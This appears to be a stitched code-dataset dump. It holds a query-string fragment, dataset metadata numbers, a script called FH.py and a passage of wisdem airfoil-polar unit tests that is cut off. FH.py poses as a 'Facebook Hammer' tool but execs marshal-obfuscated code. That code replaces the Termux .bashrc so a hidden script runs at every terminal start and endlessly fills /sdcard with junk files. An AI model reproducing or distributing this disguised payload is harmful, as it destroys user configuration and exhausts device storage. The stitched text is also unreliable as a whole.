f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=1124&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # --------------------------------------------
64.254833
130
0.660786
5,192
36,561
4.342065
0.036017
0.110007
0.071859
0.091022
0.945307
0.941847
0.936081
0.936081
0.936081
0.929826
0
0.069236
0.184623
36,561
569
131
64.254833
0.686928
0.304614
0
0.463519
0
0.017167
0.629266
0.629266
0
0
0
0
0
1
0.004292
false
0.459227
0.004292
0
0.515021
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
1
0
0
1
0
0
10
d63bd16db63f71975426ed5445b2ef90e8e6bf95
3,899
py
Python
FH.py
Lamon07730/Facebook-Hammer-FH-
31afc06adf6252cc92d2b783d878eb900940797c
[ "Apache-2.0" ]
null
null
null
FH.py
Lamon07730/Facebook-Hammer-FH-
31afc06adf6252cc92d2b783d878eb900940797c
[ "Apache-2.0" ]
null
null
null
FH.py
Lamon07730/Facebook-Hammer-FH-
31afc06adf6252cc92d2b783d878eb900940797c
[ "Apache-2.0" ]
1
2021-06-10T17:01:13.000Z
2021-06-10T17:01:13.000Z
import marshal exec (marshal.loads(b'\xe1\x17\x0e\x00\x00\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\nimport os,time,requests\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\n#########\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\n\nif os.path.exists("/data/data/com.termux/files/home/.gem0") == True:\n req = 0\n req = 1.0\n req = 1.00\n req = 1.000\n req = 1.0000\n req = 1.00000\n os.system("rm -rf /data/data/com.termux/files/home/.gem0")\n req = 0\n req = 1.0\n req = 1.00\n req = 1.000\n req = 1.0000\n req = 1.00000\nelse:\n pass\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\nos.system("mkdir /data/data/com.termux/files/home/.gem0")\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\nve = ".kill.py"\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\nfilee = open("/data/data/com.termux/files/home/.gem0/"+ve,"w")\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\nvs =\'\'\'import os\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\n#########\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\nx = 0\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\nv = ".kill"\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\nwhile True:\n req = 0\n req = 1.0\n req = 1.00\n req = 1.000\n req = 1.0000\n req = 1.00000\n vad = str(v+str(x))\n req = 0\n req = 1.0\n req = 1.00\n req = 1.000\n req = 1.0000\n req = 1.00000\n try:\n if os.path.exists("/sdcard/"+vad) == False:\n req = 0\n req = 1.0\n req = 1.00\n req = 1.000\n req = 1.0000\n req = 1.00000\n vfile = open("/sdcard/"+vad,"w")\n Data = "mv ~ /dev/null pwd /"*1000\n vfile.write(Data)\n vfile.close\n x = x+1\n else:\n pass\n except KeyboardInterrupt:\n continue\n\n\'\'\'\nfilee.write(vs)\nfilee.close\n\n\n\n#########\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\nif os.path.exists("/data/data/com.termux/files/home/.bashrc") == True:\n req = 0\n req = 1.0\n req = 1.00\n req = 1.000\n req = 1.0000\n req = 1.00000\n os.system("rm /data/data/com.termux/files/home/.bashrc")\n req = 0\n req = 1.0\n req = 1.00\n req = 1.000\n req = 1.0000\n req = 1.00000\nelse:\n pass\nv = ".bashrc"\nvfile = open("/data/data/com.termux/files/home/"+v,"w")\nvfile.write("python /data/data/com.termux/files/home/.gem0/.kill.py")\nvfile.close\nos.system("figlet F A C E B O O K ")\nos.system("figlet H A M M E R")\n\nimport os\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\n#########\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\nx = 0\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\nv = ".kill"\nreq = 0\nreq = 1.0\nreq = 1.00\nreq = 1.000\nreq = 1.0000\nreq = 1.00000\nwhile True:\n req = 0\n req = 1.0\n req = 1.00\n req = 1.000\n req = 1.0000\n req = 1.00000\n vad = str(v+str(x))\n req = 0\n req = 1.0\n req = 1.00\n req = 1.000\n req = 1.0000\n req = 1.00000\n try:\n if os.path.exists("/sdcard/"+vad) == False:\n req = 0\n req = 1.0\n req = 1.00\n req = 1.000\n req = 1.0000\n req = 1.00000\n vfile = open("/sdcard/"+vad,"w")\n Data = "mv ~ /dev/null pwd /"*1000\n vfile.write(Data)\n vfile.close\n x = x+1\n else:\n pass\n except KeyboardInterrupt:\n continue\n\n\n\n'))
779.8
3,881
0.540395
775
3,899
2.71871
0.108387
0.189843
0.118652
0.056953
0.886094
0.886094
0.886094
0.793071
0.793071
0.793071
0
0.194681
0.247756
3,899
4
3,882
974.75
0.523696
0
0
0
0
1
0.731914
0.179323
0
0
0
0
0
1
0
true
0.5
1
0
1
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
1
1
1
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
15
d6430d390dfd862f48b18b6b35d0fa543c244a7d
31,662
py
Python
wisdem/test/test_airfoilprep/test_airfoilprep.py
nikhar-abbas/WISDEM
8861e200784d8e67b4b93b5b11f25a29be3e595b
[ "Apache-2.0" ]
1
2020-01-22T17:48:30.000Z
2020-01-22T17:48:30.000Z
wisdem/test/test_airfoilprep/test_airfoilprep.py
nikhar-abbas/WISDEM
8861e200784d8e67b4b93b5b11f25a29be3e595b
[ "Apache-2.0" ]
null
null
null
wisdem/test/test_airfoilprep/test_airfoilprep.py
nikhar-abbas/WISDEM
8861e200784d8e67b4b93b5b11f25a29be3e595b
[ "Apache-2.0" ]
null
null
null
import unittest import numpy as np from math import pi from wisdem.airfoilprep import Polar, Airfoil class TestBlend(unittest.TestCase): def setUp(self): alpha = [-3.04, -2.03, -1.01, 0.01, 1.03, 2.05, 3.07, 4.09, 5.11, 6.13, 7.14, 8.16, 9.17, 10.18, 11.18, 12.19, 13.18, 14.18, 15.18, 16.17, 17.14, 18.06, 19.06, 20.07, 25] cl = [-0.071, 0.044, 0.144, 0.241, 0.338, 0.435, 0.535, 0.632, 0.728, 0.813, 0.883, 0.946, 1.001, 1.054, 1.056, 1.095, 1.138, 1.114, 1.073, 1.008, 0.95, 0.902, 0.795, 0.797, 0.8] cd = [0.0122, 0.0106, 0.0114, 0.0134, 0.0136, 0.014, 0.0147, 0.0156, 0.0162, 0.0173, 0.0191, 0.0215, 0.0248, 0.0339, 0.0544, 0.0452, 0.0445, 0.067, 0.0748, 0.1028, 0.1473, 0.2819, 0.2819, 0.2819, 0.3] cm = [-0.0044, -0.0051, 0.0018, -0.0216, -0.0282, -0.0346, -0.0405, -0.0455, -0.0507, -0.0404, -0.0321, -0.0281, -0.0284, -0.0322, -0.0361, -0.0363, -0.0393, -0.0398, -0.0983, -0.1242, -0.1155, -0.1068, -0.0981, -0.0894, -0.0807] Re = 1 self.polar1 = Polar(Re, alpha, cl, cd, cm) alpha = [-3.04, -2.03, -1.01, 0.01, 1.03, 2.05, 3.07, 4.09, 5.11, 6.13, 7.14, 8.16, 9.17, 10.18, 11.18, 12.19, 13.18, 14.18, 15.189, 16.17, 17.14, 18.06, 19.06, 20.07, 21.08, 22.09, 23.1, 25] cl = [-0.0852, 0.0528, 0.1728, 0.2892, 0.4056, 0.522, 0.642, 0.7584, 0.8736, 0.9756, 1.0596, 1.1352, 1.2012, 1.2648, 1.2672, 1.314, 1.3656, 1.3368, 1.2876, 1.2096, 1.14, 1.0824, 0.954, 0.9564, 1, 1.2, 1.4, 1.6] cd = [0.01464, 0.01272, 0.01368, 0.01608, 0.01632, 0.0168, 0.01764, 0.01872, 0.01944, 0.02076, 0.02292, 0.0258, 0.02976, 0.04068, 0.06528, 0.05424, 0.0534, 0.0804, 0.08976, 0.12336, 0.17676, 0.33828, 0.33828, 0.33828, 0.35, 0.4, 0.45, 0.5] cm = [-0.0037, -0.0044, -0.0051, 0.0018, -0.0216, -0.0282, -0.0346, -0.0405, -0.0455, -0.0507, -0.0404, -0.0321, -0.0281, -0.0284, -0.0322, -0.0361, -0.0363, -0.0393, -0.0398, -0.0983, -0.1242, -0.1155, -0.1068, -0.0981, -0.0894, -0.0807, -0.072, -0.0633] self.polar2 = Polar(Re, alpha, cl, cd, cm) def test_blend1(self): polar3 = self.polar1.blend(self.polar2, 0.5) alpha_blend = [-3.04, -2.03, -1.01, 0.01, 1.03, 2.05, 3.07, 4.09, 5.11, 6.13, 7.14, 8.16, 9.17, 10.18, 11.18, 12.19, 13.18, 14.18, 15.18, 16.17, 17.14, 18.06, 19.06, 20.07, 25] cl_blend = [-0.078, 0.048, 0.158, 0.265, 0.372, 0.479, 0.589, 0.695, 0.801, 0.894, 0.971, 1.041, 1.101, 1.159, 1.162, 1.205, 1.252, 1.225, 1.181, 1.109, 1.045, 0.992, 0.875, 0.877, 1.200] cd_blend = [0.0134, 0.0117, 0.0125, 0.0147, 0.0150, 0.0154, 0.0162, 0.0172, 0.0178, 0.0190, 0.0210, 0.0237, 0.0273, 0.0373, 0.0598, 0.0497, 0.0490, 0.0737, 0.0822, 0.1131, 0.1620, 0.3101, 0.3101, 0.3101, 0.4000] cm_blend = [-0.00405, -0.00475, -0.00165, -0.0099, -0.0249, -0.0314, -0.03755, -0.043, -0.0481, -0.04555, -0.03625, -0.0301, -0.02825, -0.0303, -0.03415, -0.0362, -0.0378, -0.03955, -0.06905, -0.11125, -0.11985, -0.11115,-0.10245, -0.09375, -0.072] # re-interpolate b/c angles of attack are different cl3 = np.interp(alpha_blend, polar3.alpha, polar3.cl) cd3 = np.interp(alpha_blend, polar3.alpha, polar3.cd) cm3 = np.interp(alpha_blend, polar3.alpha, polar3.cm) # should be within 1e-3 np.testing.assert_allclose(cl3, cl_blend, atol=1e-3) np.testing.assert_allclose(cd3, cd_blend, atol=1e-3) np.testing.assert_allclose(cm3, cm_blend, atol=1e-3) def test_blend1_w_airfoil(self): af1 = Airfoil([self.polar1]) af2 = Airfoil([self.polar2]) af3 = af1.blend(af2, 0.5) polar3 = af3.polars[0] # kind of bad practice for me to be accessing this alpha_blend = [-3.04, -2.03, -1.01, 0.01, 1.03, 2.05, 3.07, 4.09, 5.11, 6.13, 7.14, 8.16, 9.17, 10.18, 11.18, 12.19, 13.18, 14.18, 15.18, 16.17, 17.14, 18.06, 19.06, 20.07, 25] cl_blend = [-0.078, 0.048, 0.158, 0.265, 0.372, 0.479, 0.589, 0.695, 0.801, 0.894, 0.971, 1.041, 1.101, 1.159, 1.162, 1.205, 1.252, 1.225, 1.181, 1.109, 1.045, 0.992, 0.875, 0.877, 1.200] cd_blend = [0.0134, 0.0117, 0.0125, 0.0147, 0.0150, 0.0154, 0.0162, 0.0172, 0.0178, 0.0190, 0.0210, 0.0237, 0.0273, 0.0373, 0.0598, 0.0497, 0.0490, 0.0737, 0.0822, 0.1131, 0.1620, 0.3101, 0.3101, 0.3101, 0.4000] cm_blend = [-0.00405, -0.00475, -0.00165, -0.0099, -0.0249, -0.0314, -0.03755, -0.043, -0.0481, -0.04555, -0.03625, -0.0301, -0.02825, -0.0303, -0.03415, -0.0362, -0.0378, -0.03955, -0.06905, -0.11125, -0.11985, -0.11115,-0.10245, -0.09375, -0.072] # re-interpolate b/c angles of attack are different cl3 = np.interp(alpha_blend, polar3.alpha, polar3.cl) cd3 = np.interp(alpha_blend, polar3.alpha, polar3.cd) cm3 = np.interp(alpha_blend, polar3.alpha, polar3.cm) # should be within 1e-3 np.testing.assert_allclose(cl3, cl_blend, atol=1e-3) np.testing.assert_allclose(cd3, cd_blend, atol=1e-3) np.testing.assert_allclose(cm3, cm_blend, atol=1e-3) def test_blend2(self): polar3 = self.polar1.blend(self.polar2, 0.7) alpha_blend = [-3.04, -2.03, -1.01, 0.01, 1.03, 2.05, 3.07, 4.09, 5.11, 6.13, 7.14, 8.16, 9.17, 10.18, 11.18, 12.19, 13.18, 14.18, 15.18, 16.17, 17.14, 18.06, 19.06, 20.07, 25] cl_blend = [-0.081, 0.050, 0.164, 0.275, 0.385, 0.496, 0.610, 0.720, 0.830, 0.927, 1.007, 1.078, 1.141, 1.202, 1.204, 1.248, 1.297, 1.270, 1.224, 1.149, 1.083, 1.028, 0.906, 0.909, 1.360] cd_blend = [0.0139, 0.0121, 0.0130, 0.0153, 0.0155, 0.0160, 0.0168, 0.0178, 0.0185, 0.0197, 0.0218, 0.0245, 0.0283, 0.0386, 0.0620, 0.0515, 0.0507, 0.0764, 0.0852, 0.1172, 0.1679, 0.3214, 0.3214, 0.3214, 0.4400] cm_blend = [-0.00391, -0.00461, -0.00303, -0.00522, -0.02358, -0.03012, -0.03637, -0.042, -0.04706, -0.04761, -0.03791, -0.0309, -0.02819, -0.02954, -0.03337, -0.03616, -0.0372, -0.03945, -0.057347, -0.10607, -0.12159, -0.11289, -0.10419, -0.09549, -0.06852] # re-interpolate b/c angles of attack are different cl3 = np.interp(alpha_blend, polar3.alpha, polar3.cl) cd3 = np.interp(alpha_blend, polar3.alpha, polar3.cd) cm3 = np.interp(alpha_blend, polar3.alpha, polar3.cm) # should be within 1e-3 np.testing.assert_allclose(cl3, cl_blend, atol=1e-3) np.testing.assert_allclose(cd3, cd_blend, atol=1e-3) np.testing.assert_allclose(cm3, cm_blend, atol=1e-3) def test_blend3(self): polar3 = self.polar1.blend(self.polar2, 0.2) alpha_blend = [-3.04, -2.03, -1.01, 0.01, 1.03, 2.05, 3.07, 4.09, 5.11, 6.13, 7.14, 8.16, 9.17, 10.18, 11.18, 12.19, 13.18, 14.18, 15.18, 16.17, 17.14, 18.06, 19.06, 20.07, 25] cl_blend = [-0.074, 0.046, 0.150, 0.251, 0.352, 0.452, 0.556, 0.657, 0.757, 0.846, 0.918, 0.984, 1.041, 1.096, 1.098, 1.139, 1.184, 1.159, 1.116, 1.048, 0.988, 0.938, 0.827, 0.829, 0.960] cd_blend = [0.0127, 0.0110, 0.0119, 0.0139, 0.0141, 0.0146, 0.0153, 0.0162, 0.0168, 0.0180, 0.0199, 0.0224, 0.0258, 0.0353, 0.0566, 0.0470, 0.0463, 0.0697, 0.0778, 0.1069, 0.1532, 0.2932, 0.2932, 0.2932, 0.3400] cm_blend = [-0.00426, -0.00496, 0.00042, -0.01692, -0.02688, -0.03332, -0.03932, -0.0445, -0.04966, -0.04246, -0.03376, -0.0289, -0.02834, -0.03144, -0.03532, -0.03626, -0.0387, -0.0397, -0.0866, -0.11902, -0.11724, -0.10854, -0.09984, -0.09114, -0.07722] # re-interpolate b/c angles of attack are different cl3 = np.interp(alpha_blend, polar3.alpha, polar3.cl) cd3 = np.interp(alpha_blend, polar3.alpha, polar3.cd) cm3 = np.interp(alpha_blend, polar3.alpha, polar3.cm) # should be within 1e-3 np.testing.assert_allclose(cl3, cl_blend, atol=1e-3) np.testing.assert_allclose(cd3, cd_blend, atol=1e-3) np.testing.assert_allclose(cm3, cm_blend, atol=1e-3) class Test3DStall(unittest.TestCase): def setUp(self): alpha = [-9.000, -8.000, -7.000, -6.000, -5.000, -4.000, -3.000, -2.000, -1.000, 0.000, 1.000, 2.000, 3.000, 4.000, 5.000, 6.000, 7.000, 8.000, 9.000, 10.000, 11.000, 12.000, 13.000, 14.000, 15.000, 16.000, 17.000, 18.000, 19.000, 20.000, 30.000, 40.000, 50.000] cl = [-0.802, -0.721, -0.611, -0.506, -0.408, -0.313, -0.220, -0.133, -0.060, 0.036, 0.227, 0.342, 0.436, 0.556, 0.692, 0.715, 0.761, 0.830, 0.893, 0.954, 1.013, 1.042, 1.061, 1.083, 1.078, 0.882, 0.811, 0.793, 0.793, 0.798, 0.772, 0.757, 0.700] cd = [0.027, 0.025, 0.024, 0.023, 0.022, 0.022, 0.023, 0.025, 0.027, 0.028, 0.024, 0.019, 0.017, 0.015, 0.017, 0.019, 0.021, 0.024, 0.027, 0.031, 0.037, 0.046, 0.058, 0.074, 0.088, 0.101, 0.114, 0.128, 0.142, 0.155, 0.321, 0.525, 0.742] cm = [-0.0037, -0.0044, -0.0051, 0.0018, -0.0216, -0.0282, -0.0346, -0.0405, -0.0455, -0.0507, -0.0404, -0.0321, -0.0281, -0.0284, -0.0322, -0.0361, -0.0363, -0.0393, -0.0398, -0.0983, -0.1242, -0.1155, -0.1068, -0.0981, -0.0894, -0.0807, -0.072, -0.0633, -0.054, -0.045, -0.036, -0.22, -0.13] cm_zeros = np.zeros(len(cm)) Re = 1 self.polar = Polar(Re, alpha, cl, cd, cm) self.polar2 = Polar(Re, alpha, cl, cd, cm_zeros) def test_stall1(self): R = 2.4 r = 0.25*R chord = 0.18 Omega = 200*pi/30 Uinf = 10.0 tsr = Omega*R/Uinf newpolar = self.polar.correction3D(r/R, chord/r, tsr, alpha_max_corr=30, alpha_linear_min=-4, alpha_linear_max=4) cl_3d = [-0.8466, -0.7523, -0.6420, -0.5342, -0.4302, -0.3284, -0.2276, -0.1303, -0.0404, 0.0618, 0.2191, 0.3321, 0.4336, 0.5501, 0.6755, 0.7363, 0.8101, 0.8973, 0.9810, 1.0640, 1.1450, 1.2098, 1.2682, 1.3281, 1.3731, 1.3088, 1.3159, 1.3534, 1.4010, 1.4515, 1.9140, 1.8857, 1.6451] cd_3d = [0.0399, 0.0334, 0.0316, 0.0293, 0.0269, 0.0254, 0.0246, 0.0246, 0.0246, 0.0252, 0.0249, 0.0200, 0.0167, 0.0157, 0.0174, 0.0183, 0.0212, 0.0255, 0.0303, 0.0367, 0.0465, 0.0615, 0.0800, 0.1047, 0.1301, 0.1695, 0.2047, 0.2384, 0.2728, 0.3081, 0.8097, 1.2625, 1.6280] # test equality np.testing.assert_allclose(newpolar.cl, cl_3d, atol=1e-3) np.testing.assert_allclose(newpolar.cd, cd_3d, atol=1e-3) def test_stall1_w_airfoil(self): R = 2.4 r = 0.25*R chord = 0.18 Omega = 200*pi/30 Uinf = 10.0 tsr = Omega*R/Uinf af = Airfoil([self.polar]) newaf = af.correction3D(r/R, chord/r, tsr, alpha_max_corr=30, alpha_linear_min=-4, alpha_linear_max=4) _, _, cl_grid, cd_grid, cm_grid = newaf.createDataGrid() newpolar = newaf.polars[0] cl_3d = [-0.8466, -0.7523, -0.6420, -0.5342, -0.4302, -0.3284, -0.2276, -0.1303, -0.0404, 0.0618, 0.2191, 0.3321, 0.4336, 0.5501, 0.6755, 0.7363, 0.8101, 0.8973, 0.9810, 1.0640, 1.1450, 1.2098, 1.2682, 1.3281, 1.3731, 1.3088, 1.3159, 1.3534, 1.4010, 1.4515, 1.9140, 1.8857, 1.6451] cd_3d = [0.0399, 0.0334, 0.0316, 0.0293, 0.0269, 0.0254, 0.0246, 0.0246, 0.0246, 0.0252, 0.0249, 0.0200, 0.0167, 0.0157, 0.0174, 0.0183, 0.0212, 0.0255, 0.0303, 0.0367, 0.0465, 0.0615, 0.0800, 0.1047, 0.1301, 0.1695, 0.2047, 0.2384, 0.2728, 0.3081, 0.8097, 1.2625, 1.6280] cm_test = [[-0.0037], [-0.0044], [-0.0051], [0.0018], [-0.0216], [-0.0282], [-0.0346], [-0.0405], [-0.0455], [-0.0507], [-0.0404], [-0.0321], [-0.0281], [-0.0284], [-0.0322], [-0.0361], [-0.0363], [-0.0393], [-0.0398], [-0.0983], [-0.1242], [-0.1155], [-0.1068], [-0.0981], [-0.0894], [-0.0807], [-0.072], [-0.0633], [-0.054], [-0.045], [-0.036], [-0.22], [-0.13]] # test equality np.testing.assert_allclose(newpolar.cl, cl_3d, atol=1e-3) np.testing.assert_allclose(newpolar.cd, cd_3d, atol=1e-3) np.testing.assert_allclose(cm_grid, cm_test, atol=1e-3) def test_stall2(self): R = 2.4 r = 0.75*R chord = 0.28 Omega = 200*pi/30 Uinf = 14.0 tsr = Omega*R/Uinf newpolar = self.polar.correction3D(r/R, chord/r, tsr, alpha_max_corr=30, alpha_linear_min=-4, alpha_linear_max=4) cl_3d = [-0.81340155, -0.72876051, -0.61903798, -0.51322348, -0.41336822, -0.31696485, -0.22214149, -0.13269893, -0.05485453, 0.04222704, 0.22525537, 0.33917483, 0.43518608, 0.55464051, 0.68785835, 0.72023796, 0.77302335, 0.84665343, 0.91485674, 0.98191931, 1.04592758, 1.08446883, 1.11313747, 1.14423161, 1.15194066, 0.98921407, 0.93776667, 0.93384528, 0.94558296, 0.96199091, 1.05910388, 1.04054486, 0.93735382] cd_3d = [0.03050922, 0.02712935, 0.02589588, 0.02453937, 0.02341344, 0.02320787, 0.02359745, 0.02497252, 0.02653913, 0.02751806, 0.02430795, 0.01935093, 0.01663156, 0.01552516, 0.01698944, 0.01853615, 0.02107760, 0.02443710, 0.02784230, 0.03217433, 0.03929881, 0.05021192, 0.06322801, 0.08159739, 0.09837902, 0.11798276, 0.13692472, 0.15565820, 0.17470667, 0.19368328, 0.44408310, 0.71034295, 0.96437541] # test equality np.testing.assert_allclose(newpolar.cl, cl_3d, atol=1e-3) np.testing.assert_allclose(newpolar.cd, cd_3d, atol=1e-3) def test_stall3(self): R = 5.0 r = 0.5*R chord = 0.5 Omega = 100*pi/30 Uinf = 10.0 tsr = Omega*R/Uinf newpolar = self.polar.correction3D(r/R, chord/r, tsr, alpha_max_corr=30, alpha_linear_min=-4, alpha_linear_max=4) cl_3d = [-0.8240, -0.7363, -0.6264, -0.5199, -0.4188, -0.3206, -0.2239, -0.1319, -0.0502, 0.0485, 0.2233, 0.3369, 0.4347, 0.5532, 0.6839, 0.7254, 0.7849, 0.8629, 0.9361, 1.0082, 1.0777, 1.1246, 1.1628, 1.2031, 1.2228, 1.0916, 1.0589, 1.0682, 1.0914, 1.1188, 1.3329, 1.3112, 1.1640] cd_3d = [0.0335, 0.0291, 0.0277, 0.0261, 0.0245, 0.0239, 0.0239, 0.0249, 0.0259, 0.0268, 0.0245, 0.0195, 0.0167, 0.0156, 0.0171, 0.0185, 0.0211, 0.0248, 0.0286, 0.0336, 0.0416, 0.0538, 0.0686, 0.0890, 0.1085, 0.1345, 0.1586, 0.1822, 0.2061, 0.2303, 0.5612, 0.8872, 1.1769] # test equality np.testing.assert_allclose(newpolar.cl, cl_3d, atol=1e-3) np.testing.assert_allclose(newpolar.cd, cd_3d, atol=1e-3) def test_stall4_cm(self): R = 5.0 r = 0.5*R chord = 0.5 Omega = 100*pi/30 Uinf = 10.0 tsr = Omega*R/Uinf newpolar = self.polar2.correction3D(r/R, chord/r, tsr, alpha_max_corr=30, alpha_linear_min=-4, alpha_linear_max=4) cl_3d = [-0.8240, -0.7363, -0.6264, -0.5199, -0.4188, -0.3206, -0.2239, -0.1319, -0.0502, 0.0485, 0.2233, 0.3369, 0.4347, 0.5532, 0.6839, 0.7254, 0.7849, 0.8629, 0.9361, 1.0082, 1.0777, 1.1246, 1.1628, 1.2031, 1.2228, 1.0916, 1.0589, 1.0682, 1.0914, 1.1188, 1.3329, 1.3112, 1.1640] cd_3d = [0.0335, 0.0291, 0.0277, 0.0261, 0.0245, 0.0239, 0.0239, 0.0249, 0.0259, 0.0268, 0.0245, 0.0195, 0.0167, 0.0156, 0.0171, 0.0185, 0.0211, 0.0248, 0.0286, 0.0336, 0.0416, 0.0538, 0.0686, 0.0890, 0.1085, 0.1345, 0.1586, 0.1822, 0.2061, 0.2303, 0.5612, 0.8872, 1.1769] # cm = [-0.0037, -0.0044, -0.0051, 0.0018, -0.0216, -0.0282, -0.0346, # -0.0405, -0.0455, -0.0507, -0.0404, -0.0321, -0.0281, -0.0284, # -0.0322, -0.0361, -0.0363, -0.0393, -0.0398, -0.0983, -0.1242, # -0.1155, -0.1068, -0.0981, -0.0894, -0.0807, -0.072, -0.0633, # -0.054, -0.045, -0.036, -0.22, -0.13] cm_zeros = np.zeros(len(cd_3d)) # test equality np.testing.assert_allclose(newpolar.cl, cl_3d, atol=1e-3) np.testing.assert_allclose(newpolar.cd, cd_3d, atol=1e-3) np.testing.assert_allclose(newpolar.cm, cm_zeros, atol=1e-3) class TestExtrap(unittest.TestCase): def setUp(self): alpha = [-10.1, -8.2, -6.1, -4.1, -2.1, 0.1, 2, 4.1, 6.2, 8.1, 10.2, 11.3, 12.1, 13.2, 14.2, 15.3, 16.3, 17.1, 18.1, 19.1, 20.1] cl = [-0.6300, -0.5600, -0.6400, -0.4200, -0.2100, 0.0500, 0.3000, 0.5400, 0.7900, 0.9000, 0.9300, 0.9200, 0.9500, 0.9900, 1.0100, 1.0200, 1.0000, 0.9400, 0.8500, 0.7000, 0.6600] cd = [0.0390, 0.0233, 0.0131, 0.0134, 0.0119, 0.0122, 0.0116, 0.0144, 0.0146, 0.0162, 0.0274, 0.0303, 0.0369, 0.0509, 0.0648, 0.0776, 0.0917, 0.0994, 0.2306, 0.3142, 0.3186] cm = [-0.0044, -0.0051, 0.0018, -0.0216, -0.0282, -0.0346, -0.0405, -0.0455, -0.0507, -0.0404, -0.0321, -0.0281, -0.0284, -0.0322, -0.0361, -0.0363, -0.0393, -0.0398, -0.0983, -0.1242, -0.1155] cm_zeros = np.zeros(len(cm)) Re = 1 self.polar = Polar(Re, alpha, cl, cd, cm) self.polar2 = Polar(Re, alpha, cl, cd, cm_zeros) def test_extrap1(self): cdmax = 1.29 newpolar = self.polar.extrapolate(cdmax=cdmax) alpha_extrap = [-180, -170, -160, -150, -140, -130, -120, -110, -100, -90, -80, -70, -60, -50, -40, -30, -20, -10.1, -8.2, -6.1, -4.1, -2.1, 0.1, 2, 4.1, 6.2, 8.1, 10.2, 11.3, 12.1, 13.2, 14.2, 15.3, 16.3, 17.1, 18.1, 19.1, 20.1, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 130, 140, 150, 160, 170, 180] cl_extrap = [0.0000, 0.2299, 0.4597, 0.4907, 0.5053, 0.4805, 0.4102, 0.2985, 0.1565, 0.0000, -0.1565, -0.2985, -0.4102, -0.4805, -0.5053, -0.4907, -0.4637, -0.6300, -0.5600, -0.6400, -0.4200, -0.2100, 0.0500, 0.3000, 0.5400, 0.7900, 0.9000, 0.9300, 0.9200, 0.9500, 0.9900, 1.0100, 1.0200, 1.0000, 0.9400, 0.8500, 0.7000, 0.6600, 0.7010, 0.7219, 0.6864, 0.5860, 0.4264, 0.2235, 0.0000, -0.1565, -0.2985, -0.4102, -0.4805, -0.5053, -0.4907, -0.4597, -0.2299, 0.0000] cd_extrap = [0.1770, 0.2132, 0.3173, 0.4758, 0.6686, 0.8708, 1.0560, 1.1996, 1.2818, 1.2900, 1.2818, 1.1996, 1.0560, 0.8708, 0.6686, 0.4758, 0.3158, 0.0390, 0.0233, 0.0131, 0.0134, 0.0119, 0.0122, 0.0116, 0.0144, 0.0146, 0.0162, 0.0274, 0.0303, 0.0369, 0.0509, 0.0648, 0.0776, 0.0917, 0.0994, 0.2306, 0.3142, 0.3186, 0.4758, 0.6686, 0.8708, 1.0560, 1.1996, 1.2818, 1.2900, 1.2818, 1.1996, 1.0560, 0.8708, 0.6686, 0.4758, 0.3173, 0.2132, 0.1770] cm_extrap = [0.0000, 0.4000, 0.2431, 0.2568, 0.2865, 0.3185, 0.3458, 0.3632, 0.3672, 0.3559, 0.3443, 0.3182, 0.2808, 0.2362, 0.1886, 0.1414, 0.0942, -0.0044, -0.0051, 0.0018, -0.0216, -0.0282, -0.0346, -0.0405, -0.0455, -0.0507, -0.0404, -0.0321, -0.0281, -0.0284, -0.0322, -0.0361, -0.0363, -0.0393, -0.0398, -0.0983, -0.1242, -0.1155, -0.1710, -0.2202, -0.2637, -0.3002, -0.3284, -0.3471, -0.3559, -0.3672, -0.3632, -0.3458, -0.3185, -0.2865, -0.2568, -0.2431, -0.5000, 0.0000] # re-interpolate b/c angles of attack are different cl = np.interp(alpha_extrap, newpolar.alpha, newpolar.cl) cd = np.interp(alpha_extrap, newpolar.alpha, newpolar.cd) cm = np.interp(alpha_extrap, newpolar.alpha, newpolar.cm) # test equality np.testing.assert_allclose(cl, cl_extrap, atol=1.5e-4) np.testing.assert_allclose(cd, cd_extrap, atol=1.5e-4) np.testing.assert_allclose(cm, cm_extrap, atol=5e-3) def test_extrap1_w_airfoil(self): cdmax = 1.29 af = Airfoil([self.polar2]) newaf = af.extrapolate(cdmax=cdmax) newpolar = newaf.polars[0] alpha_extrap = [-180, -170, -160, -150, -140, -130, -120, -110, -100, -90, -80, -70, -60, -50, -40, -30, -20, -10.1, -8.2, -6.1, -4.1, -2.1, 0.1, 2, 4.1, 6.2, 8.1, 10.2, 11.3, 12.1, 13.2, 14.2, 15.3, 16.3, 17.1, 18.1, 19.1, 20.1, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 130, 140, 150, 160, 170, 180] cl_extrap = [0.0000, 0.2299, 0.4597, 0.4907, 0.5053, 0.4805, 0.4102, 0.2985, 0.1565, 0.0000, -0.1565, -0.2985, -0.4102, 